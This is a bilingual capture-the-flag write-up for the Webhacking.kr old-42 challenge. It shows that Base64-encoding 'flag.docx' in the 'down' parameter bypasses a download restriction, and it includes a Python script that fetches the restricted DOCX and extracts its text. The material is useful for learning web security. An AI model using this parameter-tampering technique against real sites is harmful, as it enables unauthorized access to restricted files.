Webhacking.kr old-42

Challenge

Download the restricted document by encoding its filename.

对文件名编码后下载受限文档。

1
https://webhacking.kr/challenge/web-20/

Analysis

下载参数 down 接受目标文件名的 Base64 表示。将 flag.docx 编码得到 ZmxhZy5kb2N4,服务端因此返回受限 DOCX。DOCX 是 ZIP 容器,正文位于 word/document.xml;读取其中的 <w:t> 节点并按文档顺序拼接,就能还原文本。

Solution

以下脚本完整执行构造 Base64 文件名、下载 DOCX、提取正文的步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from __future__ import annotations

import argparse
import base64
import io
import zipfile
import xml.etree.ElementTree as ET

import requests

WORD_NS = "{http://schemas.openxmlformats.org/wordprocessingml/2006/main}"

def extract_text(docx_bytes: bytes) -> str:
with zipfile.ZipFile(io.BytesIO(docx_bytes)) as archive:
xml_bytes = archive.read("word/document.xml")
root = ET.fromstring(xml_bytes)
return "".join(node.text or "" for node in root.iter(WORD_NS + "t"))

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="https://webhacking.kr/challenge/web-20/")
parser.add_argument("--filename", default="flag.docx")
args = parser.parse_args()

encoded_name = base64.b64encode(args.filename.encode("ascii")).decode("ascii")
response = requests.get(args.url, params={"down": encoded_name}, timeout=20)
response.raise_for_status()
print(extract_text(response.content))

if __name__ == "__main__":
main()